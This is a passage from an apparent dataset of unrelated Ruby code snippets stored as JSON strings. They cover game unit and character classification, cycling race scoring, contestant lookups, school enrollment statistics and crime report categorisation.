casteflags = u.race_tg.caste[u.caste].flags if u.caste >= 0\n return :Livestock if casteflags and (casteflags[:PET] or casteflags[:PET_EXOTIC])\n return :Citizens if unit_testflagcurse(u, :CAN_SPEAK)\n :Livestock\n # some other stuff with ui.race_id ? (jobs only?)\n end", "def get_contestant_name(data, occupation)\n data.each do |season_iteration, stats|\n stats.find do |job|\n if job[\"occupation\"] == occupation\n return job[\"name\"]\n end\n end\n end\nend", "def best_candidate\n self.by_quality.first\n end", "def view_by_category\n system \"clear\"\n prompt = TTY::Prompt.new\n prompt.select (\"Choose a category\") do |menu|\n menu.choice \"Action\", -> {show_games_by_category(\"Action\")}\n menu.choice \"Action-Adventure\", -> {show_games_by_category(\"Action-Adventure\")}\n menu.choice \"Adventure\", -> {show_games_by_category(\"Adventure\")}\n menu.choice \"Puzzle\", -> {show_games_by_category(\"Puzzle\")}\n menu.choice \"Role-playing\", -> {show_games_by_category(\"Role-playing\")}\n menu.choice \"Simulation\", -> {show_games_by_category(\"Simulation\")}\n menu.choice \"Sports\", -> {show_games_by_category(\"Sports\")}\n menu.choice \"Strategy\", -> {show_games_by_category(\"Strategy\")}\n end\n end", "def category_candidates(category)\n return @category_cache[category] unless @category_cache[category].nil?\n candidates = candidates_for_name(singularize_name(category.name, category.head), @category_filters)\n if !candidates.empty?\n candidate_set = create_candidate_set(category.name,candidates)\n else\n candidate_set = candidate_set_for_syntax_trees(category.head_trees,@category_filters)\n end\n if candidate_set.empty?\n candidates = candidates_for_name(category.name, @category_filters)\n candidate_set = create_candidate_set(category.name,candidates) unless candidates.empty?\n end\n @category_cache[category] = candidate_set\n end", "def source_results(race)\n if race.discipline == 'Road'\n race_disciplines = \"'Road', 'Circuit'\"\n else\n race_disciplines = \"'#{race.discipline}'\"\n end\n \n # Cat 4/5 is a special case. Can't config in database because it's a circular relationship.\n category_ids = category_ids_for(race)\n category_4_5_men = Category.find_by_name(\"Category 4/5 Men\")\n category_4_men = Category.find_by_name(\"Category 4 Men\")\n if category_4_5_men && category_4_men && race.category == category_4_men\n category_ids << \", #{category_4_5_men.id}\"\n end\n\n Result.find(:all,\n :include => [:race, {:person => :team}, :team, {:race => [{:event => { :parent => :parent }}, :category]}],\n :conditions => [%Q{\n place between 1 AND #{point_schedule.size - 1}\n and (events.type in ('Event', 'SingleDayEvent', 'MultiDayEvent', 'Series', 'WeeklySeries', 'TaborOverall') or events.type is NULL)\n and bar = true\n and events.sanctioned_by = \"#{ASSOCIATION.default_sanctioned_by}\"\n and categories.id in (#{category_ids})\n and (events.discipline in (#{race_disciplines})\n or (events.discipline is null and parents_events.discipline in (#{race_disciplines}))\n or (events.discipline is null and parents_events.discipline is null and parents_events_2.discipline in (#{race_disciplines})))\n and (races.bar_points > 0\n or (races.bar_points is null and events.bar_points > 0)\n or (races.bar_points is null and events.bar_points is null and parents_events.bar_points > 0)\n or (races.bar_points is null and events.bar_points is null and parents_events.bar_points is null and parents_events_2.bar_points > 0))\n and events.date between '#{date.year}-01-01' and '#{date.year}-12-31'\n }],\n :order => 'person_id'\n )\n end", "def cost class_name, race\n\t\tif @prohibits != nil and (@prohibits.include?(race) or @prohibits.include?(class_name))\n\t\t\treturn nil\n\t\tend\n\t\tif [email protected]_a? Hash\n\t\t\treturn @cost\n\t\tend\n\t\t# Allowed, but discouraged. It's preferable to define racial changes to skill costs through the\n\t\t# race section.\n\t\tif @cost.has_key? \"#{race} #{class_name}\"\n\t\t\treturn @cost[\"#{race} #{class_name}\"]\n\t\tend\n\t\tif @cost.has_key? race\n\t\t\treturn @cost[race]\n\t\tend\n\t\tif @cost.has_key? class_name\n\t\t\treturn @cost[class_name]\n\t\tend\n\n\t\t# Cost not found: This is our way of throwing an error\n\t\treturn nil\n\tend", "def match\n \n # Identify matching cells, track them\n \n # Match skill names\n i = 0\n \n 5.times do |search_row_i|\n 5.times do |result_row_i|\n # Match skill name (column = 0)\n match_keyword(i, [search_row_i, 0], [result_row_i, 0])\n \n if match_id_exists?(i)\n \n # Match skill years experience\n match_integer(i, [search_row_i, 1], [result_row_i, 1])\n \n # Match skill details\n match_keyword_array(i, [search_row_i, 2], [result_row_i, 2])\n end\n \n i += 1\n end\n end\n \n # Match additional job-related stuff (job type, job location)\n \n \n # Calculate points\n calc_skill_names([[0, 1], [5, 6]], false, 50, 10)\n calc_skill_names([[2, 3, 4], [7, 8, 9], [10, 15, 20], [11, 16, 21]], (pct > 0), 40, 10) \n calc_skill_names([[12, 13, 14], [17, 18, 19], [22, 23, 24]], (pct > 0), 30, 10)\n \n calc_additional_attributes({:years_experience_pct => 5, :skill_details_first_pct => 2.5, :skill_details_additional_pct => 1})\n \n # puts \"---------- PCT: \" + @pct.to_s\n \n end", "def unit_other_category(u)\n # comment is actual code returned by the df function\n return :Berserk if u.mood == :Berserk # 5\n return :Berserk if unit_testflagcurse(u, :CRAZED) # 14\n return :Undead if unit_testflagcurse(u, :OPPOSED_TO_LIFE) # 1\n return :Undead if u.flags3.ghostly # 15\n\n if df.gamemode == :ADVENTURE\n return :Hostile if u.civ_id == -1 # 2\n if u.animal.population.region_x == -1\n return :Wild if u.flags2.roaming_wilderness_population_source_not_a_map_feature # 0\n else\n return :Hostile if u.flags2.important_historical_figure and n = unit_nemesis(u) and n.flags[:ACTIVE_ADVENTURER] # 2\n end\n return :Hostile if u.flags2.resident # 3\n return :Hostile # 4\n end\n\n return :Invader if u.flags1.active_invader or u.flags1.invader_origin # 6\n return :Friendly if u.flags1.forest or u.flags1.merchant or u.flags1.diplomat # 8\n return :Hostile if u.flags1.tame # 7\n\n if u.civ_id != -1\n return :Unsure if u.civ_id != df.ui.civ_id or u.flags1.resident or u.flags1.visitor or u.flags1.visitor_uninvited # 10\n return :Hostile # 7\n\n elsif u.animal.population.region_x == -1\n return :Friendly if u.flags2.visitor # 8\n return :Uninvited if u.flags2.visitor_uninvited # 12\n return :Underworld if r = u.race_tg and r.underground_layer_min == 5 # 9\n return :Resident if u.flags2.resident # 13\n return :Friendly # 8\n\n else\n return :Friendly if u.flags2.visitor # 8\n return :Underworld if r = u.race_tg and r.underground_layer_min == 5 # 9\n return :Wild if u.animal.population.feature_idx == -1 and u.animal.population.cave_id == -1 # 0\n return :Wild # 11\n end\n end", "def criminal_skills(roll)\n case roll\n when 1..2\n if @@skills.include? \"Barter\"\n @@criminal_skill_rolls += 1\n else\n @@skills << \"Barter\" # 1 pt max\n end\n when 3..9\n @@skills << \"Climbing\"\n when 10..13\n @@skills << \"Disguise Artist\"\n when 14..19\n @@skills << \"Dodge\"\n when 20..21\n @@skills << \"Driver\"\n when 22\n if @@skills.include? \"Erotic Arts\"\n @@criminal_skill_rolls += 1\n else\n @@skills << \"Erotic Arts\" # max 1 skill pt in this area\n end\n when 23..25\n if @@skills.include? \"Forgery\"\n @@criminal_skill_rolls += 1\n else\n @@skills << \"Forgery\"\n @@literacy = \"Literate\"\n end\n when 26..29\n @@skills << \"Gambler\"\n when 30..31\n @@skills << \"Grapple\"\n when 32\n @@skills << \"Gun Slinger\"\n when 33\n @@skills << \"Gunsmith\"\n when 34..37\n @@skills << \"Junk Crafter\"\n when 38..41\n @@skills << \"Knife Fighter\"\n when 42..47\n @@skills << \"Knife Thrower\"\n when 48..51\n @@skills << \"Lying\"\n when 52\n @@skills << \"Medic\"\n when 53..54\n if @@skills.include? \"Navigate by Stars\"\n @@criminal_skill_rolls += 1\n else\n @@skills << \"Navigate by Stars\" # max 1 point in this skill\n end\n when 55\n @@skills << \"Negotiating\"\n when 56..66\n @@skills << \"Pick Locks\"\n when 67..77\n @@skills << \"Pick Pocket\"\n when 78\n @@skills << \"Pilot\"\n when 79\n @@skills << \"Relic Knowledge\"\n when 80..81\n @@skills << \"Riding\"\n when 82\n @@skills << \"Sniper\"\n when 83..88\n @@skills << \"Stealth\"\n when 89..91\n @@skills << \"Tracking\"\n when 92..94\n @@skills << \"Unarmed Combat\"\n when 95\n @@skills << \"Wilderness Survival\"\n when 96..100\n @@skills << \"Weapons Expert\"\n # if rolled more than once, take a second level in the same weapon or randomly roll a new weapon -- player's choice. Mutants and cyborgs can choose to apply the weapon expert skill to a mutation or implant, as desired.\n end\nend", "def getValue category\n case category\n when \"camera\"\n return 0\n when \"design\"\n return 1\n when \"perform\"\n return 2\n when \"general\"\n return 3\n when \"misc\"\n return 4\n end\nend", "def select_fittest(category, options = {})\n category = case category\n when Category\n category\n when String\n categories.first(:conditions => ['upper(categories.name) = upper(?)', category])\n end\n uhook_select_fittest category, options unless category.nil?\n end", "def allocateTraits\r\n\r\n\tif $class == \"1\" #Soldier\r\n\t\t$lvl=1\t#character level\r\n\t\t$str=8\t#Strength\r\n\t\t$dex=8\t#dexterity\r\n\t\t$con=8\t#constitution\r\n\t\t$int=8\t#intelligence\r\n\t\t$wis=8\t#wisdom\r\n\t\t$cha=8\t#charisma\t\r\n\t\t$maxVit=10 #vitality\r\n\t\t$vit=10\r\n\t\t$atk=$lvl #base attack\r\n\t\t$defenseBonus=0 \r\n\t\t\r\n\r\n\telsif $class == 2 #Scout\r\n\t\t$lvl=1\t\r\n\t\t$str=8\r\n\t\t$dex=8\r\n\t\t$con=8\r\n\t\t$int=8\r\n\t\t$wis=8\r\n\t\t$cha=8\r\n\t\t$maxVit=8\r\n\t\t$vit=8\r\n\t\t$atk=($lvl*0.75) #base attack\r\n\t\t$defenseBonus=2\r\n\r\n\telsif $class == 3 #Scoundrel\r\n\t\t$str=8\r\n\t\t$dex=8\r\n\t\t$con=8\r\n\t\t$int=8\r\n\t\t$wis=8\r\n\t\t$cha=8\r\n\t\t$maxVit=6\r\n\t\t$vit=6\r\n\t\t$atk=($lvl*0.75) #base attack\r\n\t\t$defenseBonus=4\r\n\t\t\r\n\telse\r\n\t\t$vit = 6\r\n\t\t$maxVit = 6\r\n\t\r\n\r\n\tend\r\n\r\nend", "def category mt=nil\n return source.category.to_sym unless source.category.blank? \n mt ||= meta_data \n if mt.keys.include?(:season) || mt.keys.include?(:episode)\n return :tv_show\n elsif mt.keys.include?(:edition) || mt.keys.include?(:quality) || mt.keys.include?(:year)\n return :movie\n else\n return :unknown\n end \n end", "def criterions\n objectives.collect(&:criterion).uniq.sort{|a,b| a.category <=> b.category}\n end", "def rating_of(category, item)\n ratings_of = ratings.select{ |r| r.beer.send(category) == item }\n ratings_of.map(&:score).inject(&:+) / ratings_of.count.to_f\n end", "def participation_by_race_or_ethnicity(race)\n fail UnknownRaceError unless valid_race?(race)\n category = @race_table.select { |k, v| k if v == race }.keys\n @pupil_enrollment_race.select do |row|\n row[:race] == category.first && row[:dataformat] == \"Percent\"\n end.map { |row| [row[:timeframe].to_i, truncate(row[:data])] }.to_h\n end", "def core_category_candidates(category)\n candidates = []\n singularize_name_nouns(category.name, category.head).each do |phrase|\n candidates.concat(candidates_for_name(phrase, @category_filters))\n\n end\n candidate_set = create_candidate_set(category.name,candidates.uniq)\n end", "def participation_by_race_or_ethnicity_in_year(year)\n if valid_year?(year)\n pupil_race_select_data = @pupil_enrollment_race.find_all { |hash| hash[:race] != \"All Students\" && hash[:race] != \"Total\" && hash[:category] != \"Female Students\" && hash[:category] != \"Male Students\" && hash[:dataformat] == \"Percent\" && hash[:timeframe] == \"#{year}\" }\n race = pupil_race_select_data.map { |hash| hash.fetch(:race) }\n data = pupil_race_select_data.map { |hash| hash.fetch(:data) }\n participation_by_race = Hash[race.zip(data.map { |num| truncate(num) })]\n Hash[participation_by_race.map { |k, v| [race_table_two[k], v] }]\n end\n end", "def get_character_achievements_category(achievement_category, name = @character_name, options = {})\n\t\t options = character_options(name, options)\n\t\t\toptions[:achievement_category] = achievement_category.to_i\n\t\t \n\t\t character_achievements_category = get_xml(@@character_achievements_url, options)\n\t\t \n\t\t return Wowr::Classes::AchievementsList.new(character_achievements_category, self)\n\t end", "def stats\n case category\n when Item::ItemCatArmour\n item_stat_armour || build_item_stat_armour\n when Item::ItemCatWeapon\n item_stat_weapon || build_item_stat_weapon\n end\n end", "def get_categories_with_records(pool_type, gender_type, team_distinct_best)\n valid_categories = []\n @distinct_categories.each do |category_type|\n valid_categories << category_type if team_distinct_best.has_record_for?(pool_type.code, gender_type.code, nil, category_type.code)\n end\n valid_categories.sort { |n, p| n.age_begin <=> p.age_begin }\n end", "def by_category_and_difficulty\n questions = Question.q_by_category(params[:category_id], params[:difficulty])\n # byebug\n # some method that returns questions based on params category_Id and difficulty\n render json: questions.to_json(\n :methods => :shuffle\n )\n end", "def get_contestant_name(data, occupation)\n data.each do |season, info|\n info.each do |people|\n people.each do |k,v|\n if v == occupation\n return people[\"name\"]\n end\n end\n end\n end\nend", "def get_contestant_name(data, occupation)\n # code here\n data.each { |season, array|\n #puts array\n array.each {|hash|\n hash.each {|detail, info|\n if info == occupation\n return hash[\"name\"]\n end\n }\n #return puts attribute, stat\n #if stat == \"occupation\"\n # #if stat\n # return name\n #end\n }\n\n }\n\nend", "def categories_for(race)\n case race.name\n when \"Junior Men\", \"Junior Women\"\n [ Category.find_or_create_by(name: race.name) ]\n else\n super race\n end\n end", "def create_competition_results_for(results, race)\n competition_result = nil\n results.each_with_index do |source_result, index|\n logger.debug(\"#{self.class.name} scoring result: #{source_result.date} race: #{source_result.race.name} pl: #{source_result.place} mem pl: #{source_result.members_only_place if place_members_only?} #{source_result.last_name} #{source_result.team_name}\") if logger.debug?\n\n racer = source_result.racer\n points = points_for(source_result)\n if points > 0.0 && (!members_only? || member?(racer, source_result.date))\n \n if first_result_for_racer(source_result, competition_result)\n # Intentionally not using results association create method. No need to hang on to all competition results.\n # In fact, this could cause serious memory issues with the Ironman\n competition_result = Result.create!(\n :racer => racer, \n :team => (racer ? racer.team : nil),\n :race => race)\n end\n \n Competition.benchmark('competition_result.scores.create_if_best_result_for_race') {\n competition_result.scores.create_if_best_result_for_race(\n :source_result => source_result, \n :competition_result => competition_result, \n :points => points\n )\n }\n end\n \n # Aggressive memory management. If competition has a race with many results, \n # the results array can become a large, uneeded, structure\n results[index] = nil\n GC.start if index > 0 && index % 1000 == 0\n end\n end", "def triple_crown\n @year = params[:year]\n stats = BattingStatistic.where(year: @year, :home_runs.gt => 0, \n :runs_batted_in.gt => 0, :games_played.gt => 150)\n \n @ba_list = stats.where(batting_average: stats.max(:batting_average))\n @rbi_list = stats.where(runs_batted_in: stats.max(:runs_batted_in))\n @hr_list = stats.where(home_runs: stats.max(:home_runs))\n \n # Go throught home run list and check to see if any players are on\n # the other two lists.\n tc_winner = []\n @hr_list.each do |hrstat|\n if @ba_list.count > 1\n bastat = @ba_list.where(player_id: hrstat.player_id).first\n elsif @ba_list.count == 1\n bastat = @ba_list.first if @ba_list.first.player_id == hrstat.player_id\n else\n bastat = nil\n end\n \n if @rbi_list.count > 1\n rbistat = @rbi_list.where(player_id: hrstat.player_id).first\n elsif @rbi_list.count == 1\n rbistat = @ba_list.first if @rbi_list.first.player_id == hrstat.player_id\n else\n rbistat = nil\n end\n\n # Check to see if we have a winner\n if bastat.present? and rbistat.present?\n tc_winner << hrstat.player_id\n end\n end\n\n @player = tc_winner.present? ? Player.where(player_id: tc_winner[0]).first : nil\n @stats = stats.where(player_id: tc_winner[0]).first\n \n end", "def complete_category(category, set_index)\n incomplete.delete(category)\n cat_sets = category.curriculum_category_sets\n\n # if only one set is needed to complete category, returns\n # the first complete set instead of all of them\n complete[category] = (\n if category.or_sets?\n cat_sets[set_index].courses\n else\n cat_sets.flat_map(&:courses)\n end & taken_courses).uniq\n\n add_completed_to_db(complete[category], category: category)\n end", "def categories_for(race)\n [ race.category ] + race.category.descendants\n end", "def force_rating\n rating = 0\n # Force rating is 1 if either of the 3 specializations is a force tree.\n if self.specialization_1\n tree = TalentTree.find(self.specialization_1)\n if tree.force_tree\n rating = 1\n end\n end\n if self.specialization_2\n tree = TalentTree.find(self.specialization_2)\n if tree.force_tree\n rating = 1\n end\n end\n if self.specialization_3\n tree = TalentTree.find(self.specialization_3)\n if tree.force_tree\n rating = 1\n end\n end\n\n # Add one rank for each Force Rating talent.\n CharacterExperienceCost.where(:character_id => self.id, :resource_type => 'talent').each do |talent|\n if talent.resource_id && talent.resource_id > 0 && Talent.find(talent.resource_id).name == \"Force Rating\"\n rating += 1\n end\n end\n\n rating\n end", "def get_contestant_name(data, occupation)\n data.each do |season, person| \n person.each do |person_data|\n return person_data[\"name\"] if person_data[\"occupation\"] == occupation\n end\n end\nend", "def percent_correct_by_category(card_category)\n total_by_category = []\n @turns.each do |card|\n if card.card.category == card_category\n total_by_category << card\n end\n end\n number_correct_by_category(card_category).fdiv(total_by_category.count) * 100\n end", "def categorized_specific_skill\n return \"#{skill_category.description} : #{specific_skill}\"\n end", "def get_contestant_name(data, occupation)\n name = ''\n data.each do |season, contestants|\n name = contestants.find{|contestant| contestant['occupation'] == occupation}\n break if name != nil\n end\n name['name']\nend", "def get_contestant_name(data, occupation)\n data.each do |seasons, contestants|\n contestants.each do |contestant_data|\n contestant_data.each do |c_key, c_value|\n if contestant_data[\"occupation\"] == occupation\n return contestant_data[\"name\"]\n end\n end\n end\n end\nend", "def choose(classification)\n sorted = classification.sort_by{|k,v| -v }\n\n case sorted.size\n when 0\n return classification\n when 1\n return sorted[0][0]\n when 2\n delta_choose(*sorted)\n else\n delta_choose(*sorted.first(2))\n end\n end", "def competition_results\n results.select(&:competition_result?)\n end", "def select_actors_greedy(k, r, n, actor_list)\n # pick the actor with the most movies as first actor\n result_a = [0]\n result_m = actor_list[0][1].clone\n result_q = result_m.length\n\n # store the indexes of actors that are still being considered\n actor_indexes = Array(1..n)\n\n # pick the remaining k-1 actors (since 1st has been picked)\n 1.upto(k-1) do |i|\n best_index = actor_indexes[0] # first actor still being considered\n best_q = result_q\n best_m = result_m.clone\n\n # examine all the actors still being considered\n for index in actor_indexes do\n # optimisation\n # don't go on if the remaining actors are too small to improve on\n # the currently found best quality\n break if result_q + actor_list[index][1].length < best_q\n\n # get all the movies that the actors are in (without duplicates)\n c_movies = best_m.clone | actor_list[index][1]\n\n # replace if better than previous solution\n if c_movies.length > best_q\n best_index = index\n best_q = c_movies.length\n best_m = c_movies\n end\n end\n\n # take the best found solution\n result_a << best_index\n result_q = best_q\n result_m = best_m\n actor_indexes.delete(best_index)\n end\n\n # convert actor ID to actor names\n return result_a.map { |i| actor_list[i][0] }\nend", "def get_category_and_gender_short\n meeting_program ? meeting_program.get_category_and_gender_short : '?'\n end", "def get_contestant_name(data, occupation)\n data.each do |season, contestants|\n contestants.each do |contestant_hash|\n if contestant_hash[\"occupation\"] == occupation\n return contestant_hash[\"name\"]\n end\n end\n end\nend", "def select_actors_combi(k, r, n, actor_list)\n result = []\n result_q = 0\n\n # process all k-combinations of top-(n+1) actors until timeout\n actor_list[0..n].combination(k) do |actors|\n break if (Time.now - @start_time) > @timeout\n\n # accumulate the number of chosen-actors in each movie\n c_movies = Hash.new(0)\n for actor in actors do\n mm = actor[1]\n for movie in mm do\n c_movies[movie.object_id] += 1\n end\n end\n\n # determine the quality of this combination\n # i.e. how many movies with at least r chosen-actors\n c_movies_score = 0\n for v in c_movies.values do\n c_movies_score += 1 if v >= r\n end\n\n # replace if better than previous solution\n if c_movies_score > result_q\n result = actors\n result_q = c_movies_score\n end\n end\n\n # convert actor arrays to actor names\n return result.map { |a| a[0] }\nend", "def create_competition_results_for(results, race)\n competition_result = nil\n results.each_with_index do |source_result, index|\n logger.debug(\"#{self.class.name} scoring result: #{source_result.date} race: #{source_result.race.name} pl: #{source_result.place} mem pl: #{source_result.members_only_place if place_members_only?} #{source_result.last_name} #{source_result.team_name}\") if logger.debug?\n\n racer = source_result.racer\n points = points_for(source_result)\n \n # We repeat some calculations here if a racer is disallowed\n if points > 0.0 && (!event.completed? || (event.completed? && raced_minimum_events?(racer, race))) && (!members_only? || member?(racer, source_result.date))\n\n if first_result_for_racer(source_result, competition_result)\n # Intentionally not using results association create method. No need to hang on to all competition results.\n # In fact, this could cause serious memory issues with the Ironman\n competition_result = Result.create!(\n :racer => racer, \n :team => (racer ? racer.team : nil),\n :race => race)\n end\n\n Competition.benchmark('competition_result.scores.create_if_best_result_for_race') {\n competition_result.scores.create_if_best_result_for_race(\n :source_result => source_result, \n :competition_result => competition_result, \n :points => points\n )\n }\n end\n\n # Aggressive memory management. If competition has a race with many results, \n # the results array can become a large, uneeded, structure\n results[index] = nil\n if index > 0 && index % 1000 == 0\n logger.debug(\"GC start after record #{index}\")\n GC.start\n end\n\n end\n end", "def category\n @category ||=\n if category_param\n current_course.assessment_categories.find(category_param)\n else\n current_course.assessment_categories.first!\n end\n end", "def category_sets(category)\n category.curriculum_category_sets.map do |category_set|\n complete[category][category_set] = category_set.courses & taken_courses\n\n get_incomplete_from_set(category, category_set)\n end\n end", "def score_categories(account,assign)\n components = [\"skill\",\"language\",\"location\" ]\n score_categories = {}\n for c in components do\n score_categories[\"#{c}s\"] = 0.00\n end\n\n for c in components do\n if !(method(\"total_score_#{c}\").call(account,assign)).nan?\n if c == \"skill\"\n score_categories[\"#{c}s\"] = {total_skills: total_score_skill(account,assign),\n skill_categories: score_skills_assign(account,assign) }\n else\n score_categories[\"#{c}s\"] = method(\"total_score_#{c}\").call(account,assign)\n end\n end\n end\n\n return score_categories\n end", "def chooseBestSkill(context, pur, weapon_type, prop)\n p \"choose best skill for #{pur}/#{weapon_type} by #{prop}\"\n # p \"skills #{context[:skills]}(size=#{context[:skills].size})}\"\n attacker_skills = context[:skills]\n \n best_skill = {\n :skill => nil\n }\n best_skill[prop] = 0\n reg2 = Regexp.new(\"#{pur}\", true)\n if (weapon_type and weapon_type.length >0)\n reg = Regexp.new(\"#{weapon_type}\", true)\n else\n reg = /./i\n end\n p \"==>1#{attacker_skills.inspect}\"\n for skill in attacker_skills\n if (!skill || skill.category=='premier')\n next\n end\n skillname = skill.query_data(\"skname\")\n p \"===>skill = #{skill}\"\n p \"===>skill name =#{skillname}\"\n #context[:thisskill] = skill\n# purpose = query_skill(skillname, \"for\", skill, context)\n\n purpose = skill.for # usage: attack parry ...\n type = skill.type # skill type: unarmed, fencing, daofa...\n \n # if skill is for attacking and has correct type with weapon\n if type=~ reg and purpose=~reg2 \n # ret = query_skill(skillname, prop, skill, context)\n # ret = skill.query(prop, context)\n ret = skill_power(skill, context[:user], pur)\n p \"===>#{prop} of #{skillname}: #{ret} \\n\"\n if (ret.to_i > best_skill[prop])\n best_skill[prop] = ret\n best_skill[:skill] = skill\n end\n end\n\n \n #p \"target:\"+@target_class+\", cmd:\"+@cmd+\", param:\"+@cparam\n end\n if ( best_skill[:skill] == nil)\n #if not found, add basic skill for this type of skill\n _skname = weapon_type\n if (pur == 'dodge')\n _skname = 'dodge'\n elsif (pur == 'parry')\n _skname = 'parry'\n end\n if _skname == nil or _skname==\"\"\n raise \"skill name is nil\"\n end\n # us = Userskill.new({\n # :uid => context[:user][:id],\n # :sid => context[:user][:sid],\n # :skid => 0,\n # :skname => _skname,\n # :skdname => \"basic #{weapon_type}\",\n # :level => 0,\n # :tp => 0,\n # :enabled => 1 \n # })\n # us.save!\n us = context[:user].set_skill(_skname, 0, 0)\n attacker_skills.push(us)\n best_skill[:skill] = us\n end\n p \"==>best skill of #{context[:user].name} for #{pur}, skill_type #{weapon_type}: #{best_skill}\"\n return best_skill\n end", "def categorize_reports\n \t@reports = Report.all\n \[email protected] do |report|\n \t\t# Get crime description\n \t\tdescription = report.description\n\n \t\t# Assign crime category based on description\n\t \tcase description\n\t\t\twhen \"118 - Theft - From Motor Vehicle - Petit\"\n\t\t\t\treport.update_attribute(:category, \"Theft From Motor Vehicle\")\n\t\t\twhen \"117 - Theft - From Motor Vehicle - Felony\"\n\t\t\t\treport.update_attribute(:category, \"Theft From Motor Vehicle\")\n\t\t\twhen \"450 - Robbery\"\n\t\t\t\treport.update_attribute(:category, \"Robbery\")\n\t\t\twhen \"254 - Assault\"\n\t\t\t\treport.update_attribute(:category, \"Assault\")\n\t\t\twhen \"262 - Felony Assault\"\n\t\t\t\treport.update_attribute(:category, \"Assault\")\n\t\t\twhen \"200 - Motor Vehicle Theft\"\n\t\t\t\treport.update_attribute(:category, \"Motor Vehicle Theft\")\n\t\t\twhen \"101 - Burglary - Zone 1\"\n\t\t\t\treport.update_attribute(:category, \"Burglary\")\n\t\t\twhen \"102 - Burglary - Zone 2\"\n\t\t\t\treport.update_attribute(:category, \"Burglary\")\n\t\t\twhen \"103 - Burglary - Zone 3\"\n\t\t\t\treport.update_attribute(:category, \"Burglary\")\n\t\t\twhen \"104 - Burglary - Zone 4\"\n\t\t\t\treport.update_attribute(:category, \"Burglary\")\n\t\t\twhen \"105 - Burglary - Zone 5\"\n\t\t\t\treport.update_attribute(:category, \"Burglary\")\n\t\t\twhen \"300 - Rape/Sexual Assault Vic 16 Yr and Older\"\n\t\t\t\treport.update_attribute(:category, \"Rape\")\n\t\t\twhen \"301 - Rape/Sexual Assault Vic 15 Yr and Younger\"\n\t\t\t\treport.update_attribute(:category, \"Rape\")\n\t\t\twhen \"250 - Homicide\"\n\t\t\t\treport.update_attribute(:category, \"Murder\")\n\t\tend\n\n\t\t# Get crime year\n\t\tyear = \"\"\n\t\tif report.date.length == 10\n\t\t\tyear = report.date[6..10]\n\t\tend\n\n\t\t# Update Year column from date\n\t\treport.update_attribute(:year, year)\n\tend\n\n\tredirect_to 'http://localhost:3000/admin'\n\n end", "def find_by(search, category=\"name\")\n #category is a string\n #search is a string\n output = all.select do |item|\n if category == \"moveset\" || category == \"type\"\n nil #forces partial matching\n else\n item.instance_variable_get(\"@#{category}\").downcase.gsub(/\\s+/, \"\") == search.downcase.gsub(/\\s+/, \"\")\n end\n end\n\n #returns the item or nil if not found\n\n if output.size < 1\n output = find_partial(search, category)\n end\n output\n end", "def get_next_scent_candidates(priority, completed_training)\n # ------------------------------------------------------------------\n # priority : Integer, option parameter\n # completed_training: Smell_Program instance which is being replaced\n #\n # Priority for automatic selection of new scents:\n # 1 - new scents in a different category\n # 2 - new scents in the same category\n # 3 - new scents in any category\n # 4 - paused scents in different category\n # 5 - paused scents in same category\n # 6 - paused scents in any category\n #\n # returns : Array of Scent instances\n # ------------------------------------------------------------------\n case priority\n when 1 then inactive_scents_by_category(inactive_scent_categories)\n when 2 then inactive_scents_by_category(completed_training.scent.category)\n when 3 then Scent.all - scents\n when 4 then scents_by_category_and_status(inactive_scent_categories, \"pending\")\n when 5 then scents_by_category_and_status(completed_training.scent.category, \"pending\")\n when 6 then scents_by_category_and_status(Scent.categories, \"pending\")\n else []\n end\n end", "def category_of_subject subject, &block\n found_cat = categories.select {|cat| cat.include? subject }\n yield found_cat if cat && block\n found_cat\n end", "def one_match?(candidate_categories, result_age = nil)\n return false unless candidate_categories.one?\n\n candidate_category = candidate_categories.first\n match = candidate_category.include? self, result_age\n debug \"one_match? #{match}\"\n match\n end", "def objects_in_category(category_type_, *category_spec_)\n @config.lock\n\n return nil unless @categories.include?(category_type_)\n spec_ = category_spec_.size == 1 && category_spec_.first.is_a?(::Array) ? category_spec_.first : category_spec_\n tuple_hash_ = (@catdata[category_type_] ||= {})[spec_]\n tuple_hash_ ? tuple_hash_.values.map{ |objdata_| objdata_[0] } : []\n end", "def mtb_category_ids_for(race)\n return \"NULL\" unless race.category\n\n case race.category.name\n when \"Senior Men\"\n categories = [::Category.find_or_create_by_name(\"Pro Men\")]\n when \"Senior Women\"\n categories = [::Category.find_or_create_by_name(\"Pro Women\"), ::Category.find_or_create_by_name(\"Category 1 Women\")]\n when \"Category 3 Men\"\n categories = [::Category.find_or_create_by_name(\"Category 1 Men\")]\n when \"Category 3 Women\"\n categories = [::Category.find_or_create_by_name(\"Category 2 Women\")]\n when \"Category 4/5 Men\"\n categories = [::Category.find_or_create_by_name(\"Category 2 Men\"), ::Category.find_or_create_by_name(\"Category 3 Men\")]\n when \"Category 4 Women\"\n categories = [::Category.find_or_create_by_name(\"Category 3 Women\")]\n else\n categories = [race.category] \n end\n\n categories.map(&:id).join \", \"\n end", "def curriculum_for_teacher_with_subject_and_class( teacher, subject_name, school_class )\n subject = teacher.subjects.where(:subject_name => subject_name).first # Get subject for teacher.\n subject_qualification = teacher.qualifications.where(:subject_id => subject.id).first # Qualification for subject.\n curriculum = subject_qualification.curriculums.select do |c| # Filter curriculum\n c.school_class.class_code == school_class.class_code # ... via input class code\n end\n\n unless curriculum.empty? # If we found curriculum return it (first element in array)\n curriculum.first\n else\n nil # Then return nil, it will help to debug (i hope)\n end\n end", "def cards_in_category(category)\n # want to return an array of cards that only has :STEM category\n # run through array and check if ':STEM' matches the last\n # element in the array\n @cards.select {|card| card.category == category}\n end", "def index\n #@difficulties = Recipe.select(:difficulty).distinct\n if params[:category].present?\n @recipes = Recipe.where(category: params[:category])\n elsif params[:difficulty].present?\n @recipes = Recipe.where(difficulty: params[:difficulty])\n elsif params[:query].present?\n @recipes = Recipe.where(\"title ILIKE ?\", \"%#{params[:query]}%\")\n else\n @recipes = policy_scope(Recipe).all\n end\n end", "def cyclist_result (cyclist, race)\n cyclist_result = [] \n if race.nil?\n cyclist.rosters.each do |roster|\n race = Race.find(roster.race_id)\n race.stages.each do |stage|\n stage_effort = cyclist.stage_efforts.find_by(stage_id: stage.id)\n race_name = \"#{race.name} - #{stage.name}\"\n if stage_effort\n time = stage_effort.elapsed_time ? Time.at(stage_effort.elapsed_time).utc.strftime('%H:%M:%S') : 'DNF'\n strava_url = stage_effort.strava_activity_url ? stage_effort.strava_activity_url : 'DNF'\n avg_watts = stage_effort.segment_avg_watts ? \"#{stage_effort.segment_avg_watts.to_f.round(1)}w\" : 'DNF'\n unless stage_effort.nil?\n temp = stage_effort.segment_avg_watts.to_f / cyclist.weight.to_f unless cyclist.weight.to_f == 0\n end \n watts_per_k = temp ? 